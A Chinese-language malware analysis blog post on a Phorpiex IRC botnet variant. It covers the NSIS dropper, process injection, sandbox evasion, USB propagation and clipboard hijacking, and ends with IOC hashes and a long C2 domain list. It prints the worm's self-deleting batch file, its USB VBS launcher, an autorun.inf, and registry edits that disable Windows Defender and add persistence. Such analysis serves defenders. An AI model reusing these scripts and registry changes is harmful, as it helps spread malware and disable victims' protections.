当前位置: 首页 > news >正文

一例Phorpiex僵尸网络变种的分析

概述

这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播,通过IRC协议连接C2服务器,内嵌了271个c2地址,会检测沙箱,替换系统剪贴板内容。

样本的基本信息

文件大小: 126 KB (129,638 字节)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32安装程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]链接程序: Microsoft Linker(6.0*)[GUI32]附加: Binary数据: NSIS data

是一个nsis打包的自解压程序,使用7zip 15.05 解压后如下,有3个目录

│  [NSIS].nsi
│  
├─$PLUGINSDIR
│      InstallOptions.dll
│      ioSpecial.ini
│      modern-header.bmp
│      modern-wizard.bmp
│      System.dll
│      
├─$TEMP
│      Flaminius.dll
│      Preoral.dat
│      
└─$_4_└─$_4_Uninstall.exe

[NSIS].nsi脚本中有一段,说明程序的入口在Flaminius.dll。

 SetOutPath $TEMPFile Preoral.datFile Flaminius.dllSystem::Call Flaminius::Ninth

重点分析这个Flaminius.dll

第二阶段 加载器 Flaminius.dll

样本的基本信息

Flaminius.dll:
Verified:    Unsigned
Link date:    12:27 2016/9/2
Publisher:    n/a
Company:    Adobe Systems Incorporated
Description:    Adobe Setup
Product:    Adobe Setup
Prod version:    8,0,0,15
File version:    8,0,0,15
MachineType:    32-bit
MD5:    12DD13145E30FD83685161905E9A22B1
SHA1:    8822796E570D9D002A04610362A787CF410A3ACDPE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]编译器: Microsoft Visual C/C++(6.0)[msvcrt]链接程序: Microsoft Linker(6.0*)[DLL32]Preoral.dat:
Verified:    Unsigned
File date:    21:18 2017/11/20
MD5:    85F94AE59CC3C63B1FA621BBF7723F44
SHA1:    80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872

Flaminius.dll读取Preoral.dat的内容,在内存中解密,调用RtlDecompressBuffer函数解压后是一个pe,创建一个同名的傀儡进程,将这个pe注入其中。
使用OD动态调试,将这个pe dump出来分析。这个样本静态分析不太容易,其几乎所有的api都动态获取的。

第三阶段 解密解压后的pe

这个pe是病毒的主体,主要功能都在里头。
样本的基本信息

Verified:    Unsigned
Link date:    5:35 2017/11/19
MachineType:    32-bit
文件大小: 33.0 KB (33,792 字节 0x8400)
MD5:    35FFA90B7F75D4DB208436994BED3D3E
SHA1:    4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]编译器: Microsoft Visual C/C++(2008 SP1)[msvcrt]链接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb

使用IDA打开很容易分析明白。
首先检测当前环境是否在沙箱中。通过查询硬盘的ProductId中是否含有关键字qemu、virtual  、vmware、xen来判断当前环境是否为沙箱。

若是沙箱话,自毁并退出。自毁通过bat文件来实现,在临时目录下创建一个bat文件,文件名为10个字节的随机字符串。内容如下

:repeat
del "病毒路径"
if exist "病毒路径" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[随机10个字符].bat"

创建互斥量 t46,防双开。
删除文件 病毒路径:Zone.Identifier。(Zone.Identifier文件中的内容是一个文本文件,其中包含了有关下载文件的安全区域的信息。该信息主要用于确定下载文件的来源,并提供安全警告或限制性措施)。

首先感染系统,在系统中创建副本,路径为下面三个之一,目录M-505052074572749672056208574286582740540winmgr.exe文件。

%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe

修改下列注册表项

添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在这个配置中,该应用程序被授权通过系统防火墙。具体的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示应用程序的路径。
- `*:Enabled` 表示开启所有协议(TCP和UDP)的授权。
- `Microsoft Windows Manager` 是说明或备注,表示这个应用程序是"Microsoft Windows Manager"。添加开机启动项,启动项名为Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4

首先感染系统会运行系统中的副本,然后退出当前进程。
创建三个线程,执行恶意操作。主要是感染可移动存储介质和远程驱动器、替换剪贴板中的内容、通过IRC协议连接C2执行恶意操作。

下面详细讲一下这三个线程的功能。

感染可移动存储介质

在U盘的根目录下创建了三个文件(DeviceConfigManager.vbsautorun.inf.lnk),一个目录(_),只有.lnk文件是显示状态,其它文件都被隐藏了。


.lnk文件如下,其图标为驱动器图标,指向同目录下的DeviceConfigManager.vbs

DeviceConfigManager.vbs的内容如下,这是一个vbs文件,其中的变量名是随机生成的,其中还有一些混淆代码没有显示。这个vbs的功能是关闭当前窗口,并打开名为_的文件夹和_\DeviceConfigManager.exe文件。

...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")'向系统发送键盘命令,具体是`%{F4}`,表示按下"Alt + F4"键组合,用于关闭当前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"'若存在名为"_"的文件夹,打开该文件夹。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If'若存在名为"\DeviceConfigManager.exe"的文件,以最大化方式打开该文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If

autorun.inf文件如下,其中有混淆的部分(未显示),这是一个自动运行脚本的标准autorun.inf文件,内容如下,这个autorun.inf文件的作用是在U盘插入计算机时自动运行U盘根目录下的"_\DeviceConfigManager.exe"文件,并设置U盘的图标为系统SHELL32.dll文件的第4个图标(文件夹图标)。同时启用了AutoPlay功能,用于实现病毒的自启动。

[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1

目录_下的为病毒的副本(DeviceConfigManager.exe)和原来U盘内的文件。

替换剪贴板的内容

根据以下规则替换系统剪贴板的文本内容

  • 首字母在为这些字母13B2XDE0L4PARrtz之一
  • 首字母为4或2,若长度为在90和115之间
  • 首字母不是4或2,若长度在25到45之间
  • 不含有O、I、l三个字符
  • 只含有字母和数字字符

若满足上面的条件,根据下面的规则替剪贴板中的内容。不知道其作用是啥。

连接C2地址

样本中内嵌了1个c2 IP和270个c2域名,见IOC部分。
会依次连接这些c2,若找到可用的c2地址后,使用IRC协议与C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。

主要的功能有:

  • 自毁
  • 获取主机信息
  • 下载载荷执行,或更新自身
    首先通过访问http://api.wipmania.com/来获取当前的IP地域,与命令中区域信息比对。

    下载一个pe保存在临时目录下(文件名为随机的10位字符),执行。若有更新命令,退出当前进程。

IOC

hash
9365b48827f3cb8197a848b5541e44dc 原始样本 
12DD13145E30FD83685161905E9A22B1 加载器Flaminius.dll 
85F94AE59CC3C63B1FA621BBF7723F44 加密的载荷 Preoral.dat 
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡进程的部分 文件
主机中
%temp%\[随机10个字符].bat 自毁脚本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本 
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[随机10个字符].exe 下载的载荷U盘中
X:\DeviceConfigManager.vbs 启动病毒打开目录_
X:\autorun.inf 用于自启动
X:\.lnk 诱导用户点击的快捷方式
X:\_\DeviceConfigManager.exe 病毒母体互斥量  t46注册表
添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
开机自启动
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
关闭winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4网络
http://api.wipmania.com/ 用于的获取当前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050

总结

这个样本使用了侧加载的技术,核心模块不落地,有检测沙箱的功能,通过IRC协议请求命令,很有代表性。

参考资料

  • NSIS 脚本提取教程 - 哔哩哔哩 (bilibili.com)

  • 2018年还有哪些通过U盘传播的病毒? - 知乎 (zhihu.com)

  • Phorpiex - An IRC worm - Full reversal for the fun of it (bin.re)

  • irc使用教程 - zqifa - 博客园 (cnblogs.com)

  • IRC(Internet Relay Chat)(因特网中继聊天)协议——RFC1459文档要点总结 - 知乎 (zhihu.com)

  • RFC 1459 - Internet Relay Chat Protocol (RFC1459) (faqs.org)

相关文章:

一例Phorpiex僵尸网络变种的分析

概述 这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播&#…...

PDF文件转换为CAD的方法

有时候我们收到一个PDF格式的设计图纸,但还需要进行编辑或修改时,就必须先将PDF文件转换回CAD格式。分享两个将PDF转换回CAD的方法,一个用到在线网站,一个用到PC软件,大家根据情况选择就可以了。 ☞在线CAD网站转换 …...

Java为什么会成为现在主流的编程语言

Java为什么会成为现在的主流语言 前言一、Java语言概述Java是什么为什么大多数人会选择从事Java为什么从事Java的工作者数量从年递减 二、Java语言的特点简单性面向对象分布式(微服务)健壮性安全性体系结构中立可移植性解释型高性能多线程动态性 三、Jav…...

动手学深度学习16 Pytorch神经网络基础

动手学深度学习16 Pytorch神经网络基础 1. 模型构造2. 参数管理1. state_dict()2. normal_() zeros_()3. xavier初始化共享参数的好处 3. 自定义层4. 读写文件net.eval() 评估模式 QA 1. 模型构造 定义隐藏层–模型结构定义前向函数–模型结构的调用 import torch from torch…...

前端无样式id或者class等来定位标签

目录: 1、使用背景2、代码处理 1、使用背景 客户使用我们产品组件,发现替换文件,每次替换都会新增如下的样式,造就样式错乱,是组件的文件,目前临时处理的话就是替换文件时删除新增的样式,但是发…...

机器人工具箱学习(三)

一、动力学方程 机器人的动力学公式描述如下: 式中, τ \boldsymbol{\tau} τ表示关节驱动力矩矢量; q , q ˙ , q \boldsymbol{q} ,\; \dot{\boldsymbol { q }} ,\; \ddot{\boldsymbol { q }} q,q˙​,q​分别为广义的关节位置、速度和加速…...

华为OD机试 - CPU算力分配(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷C卷)》。 刷的越多,抽中的概率越大,每一题都有详细的答题思路、详细的代码注释、样例测试…...

web前端框架设计第八课-表单控件绑定

web前端框架设计第八课-表单控件绑定 一.预习笔记 1.v-model实现表单数据双向绑定 2.搜索数据的实现 3.全选案例实现1—JQ方法 4.单选案例实现 5.数据级联(二级级联) 6.v-model中的修饰符 二.课堂笔记 三.课后回顾 –行动是治愈恐惧的良药&#xff0c…...

这三个网站我愿称之为制作答辩PPT的神

很多快要毕业的同学在做答辩PPT的时候总是感觉毫无思路,一窍不通。但这并不是你们的错,对于平时没接触过相关方面,第一次搞答辩PPT的人来说,这是很正常的一件事。一个好的答辩PPT可以根据以下分为以下几部分来写。 1.研究的背景和…...

flutter开发实战-实现多渠道打包及友盟统计(亲测有效)

flutter开发实战-实现多渠道打包及友盟统计(亲测有效) 最近开发过程中,需要引入友盟进行统计服务。友盟统计还需要区分不同渠道的打开应用的情况,所以需要处理多渠道打包的问题。 一、引入友盟统计 在工程的pubspec.yaml中引入…...

JavaScript-JSON对象

JSON格式 JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会的一个子集,采用完全独立于编程语言的文本格式来存储和表示…...

【C语言】自定义类型之---结构体超详解(结构体的定义使用、指针结构体,内存对齐,......代码详解)

目录 前言: 一:结构体 1.1:什么是结构体? 1.2:结构体类型的声明 1.3:结构体变量的定义 1.4:结构体的内存对齐 1.5:结构体传参 二:位段 2.1:位段是什…...

【完美恢复】修复计算机中丢失emp.dll的多个详细方法

最近,在尝试运行某款游戏时,我遭遇了一个令人头痛的问题——“emp.dll文件丢失”。这个错误通常意味着游戏的某个关键文件没有被正确加载或已损坏。以下是我解决问题的步骤和一些心得体会,希望对遇到类似问题的玩家们有所帮助。 emp.dll是一…...

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP,在全世界有着广泛的玩家群体,更是在今年暴雪国服宣布回归之后,吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…...

WLAN技术

冲突域:连接在同一传输线缆上的所有工作站的集合,或者说是同一物理网段上所有节点的集合共同竞争网络资源形成的域叫冲突域。 在OSI模型中,冲突域被看作是第一层的概念,连接同一冲突域的设备有中继器、集线器(hub&…...

维修AB罗克韦尔工控机 PanelView 900 2711-T9C8 SER C 触摸屏人机界面

可视化和 HMI 解决方案可帮助您满足生产力、创新和全球化需求。为电子操作员界面终端、分布式客户端/服务器 HMI 和信息软件提供了一致的外观和感觉。编程工具和高级软件应用程序包括远程访问和数据分析,可加速开发并提高效率。 图形终端 图形终端提供各种尺寸、操…...

334_C++_std::bind中使用shared_from_this()

std::bind(&HttpClient::getPwd, shared_from_this(), std::placeholders::_1, std::placeholders::_2);[ HttpClient继承自NetObj,NetObj是父类,NetObj受到std::shared_pt...

【Python】防御性编程入门

1. 前言 防御性编程指的是为了防止代码泄露后被竞品公司窃取技术,使用一种较高级的明文加密编程方式。也可以当做一种带解密性质的时间胶囊,锻炼程序员自己的记忆能力、读代码能力等。 2. 案例分析 2.1 import Import里面可以多取一些喜欢的名字&#…...

无线麦克风哪个品牌音质最好?热门无线麦克风品牌推荐

这段时间短视频行业兴起,很多人都开始尝试步入自媒体,不过想要自己的视频内容更出色、更吸引人,好的音频设备肯定是必不可少的,而麦克风就是其中的一种。麦克风的好坏也将决定了一个视频的质量与完整性等等,如果我们作…...

粒子奇观:用Processing创造宇宙级的动态效果

前言: 👋 今天,我们将一起探索宇宙的奥秘,不是在星空下,而是在Processing的代码世界中。这是我们的第八篇文章,我们将深入粒子系统的神奇领域,学习如何创造出令人惊叹的动态效果。 粒子系统:构建动态世界的基石 🔨 粒子系统是计算机图形学中用于模拟复杂自然现象…...

Filesystem Fragmentation on Modern Storage Systems——论文泛读

TOCS 2023 Paper 论文阅读笔记整理 问题 文件系统碎片是计算机系统随着时间的推移而变慢的主要原因之一。以前认为,碎片化对硬盘驱动器(HDD)等旋转存储设备有害,但不影响固态驱动器(SSD),因为…...

如何同步管理1000个设备的VLAN数据?

什么是VLAN? VLAN,也就是虚拟局域网,是通过为子网提供数据链路连接来抽象出局域网的概念。在企业网中,一个企业级交换机一般是24口或者是48口,连接这些接口的终端在物理上形成一个广播域。广播域过大,就会导…...

【谷粒商城】01-环境准备

1.下载和安装VirtualBox 地址:https://www.virtualbox.org/wiki/Downloads 傻瓜式安装VirtualBox 2.下载和安装Vagrant官方镜像 地址:https://app.vagrantup.com/boxes/search 傻瓜式安装 验证是否安装成功 打开CMD,输入vagrant命令,是否…...

2024深圳杯数学建模C题参考论文24页+完整代码数据解题

一、问题研究 24页参考论文: 【编译器识别】2024深圳杯C题24页参考论文1-3小问完整解题代码https://www.jdmm.cc/file/2710545/ 为了回答这些问题,我们需要进行一系列的编译实验、分析编译结果,并构建判别函数。以下是对这些问题的初步分析…...

用go语言写一个代码,加班就自动给老婆发信息,下班自动提醒的代码

文章推荐 1 作为程序员,开发用过最好用的AI工具有哪些? 2 Github Copilot正版的激活成功,终于可以chat了 3 idea,pycharm等的ai assistant已成功激活 4 新手如何拿捏 Github Copilot AI助手,帮助你提高写代码效率 5 Jetbrains的a…...

Spring-Cloud 微服务

1. 微服务架构 1.1 单体应用架构---内部项目【OA WMS等】 将项目所有模块(功能)打成jar或者war,然后部署一个进程 优点: 1:部署简单:由于是完整的结构体,可以直接部署在一个服务器上即可。 2:技术单一:项目不需要复杂的技术栈,往往一套熟悉的…...

python数据分析——数据可视化(图形绘制基础)

数据可视化(图形绘制基础) 前言一、图形绘制基础Matplotlib简介使用过程sin函数示例 二、常用图形绘制折线图的绘制plot示例 散点图的绘制plot示例 柱状图的绘制bar示例 箱型图绘制plot.box示例 饼状图的绘制pie示例 三、图形绘制的组合情况多个折线图的…...

必背!!2024年软考中级——网络工程师考前冲刺几页纸

距离软考考试的时间越来越近了,趁着这两周赶紧准备起来 今天给大家整理了——软考网络工程师考前冲刺几页纸,都是核心重点,有PDF版,可打印下来,每天背一点。 计算机总线分类 ①总线的分类:数据总线、地址总…...

html+js光标操作

光标设置id为username的字段 window.addEventListener("load", function() {document.getElementById("username").focus(); }); 光标在username的时候点击enter回车键的时候光标移动到id为password的input里面 document.getElementById("username…...

Cannot read properties of undefined (reading ‘init‘)报错

出现这个报错是印象项目没有引echarts包 npm i echarts 下包 然后在main.js中引入 import echarts from echarts Vue.prototype.$echarts echarts 如果还不行 import * as echarts from echarts; 更改一下引入方式 ok了...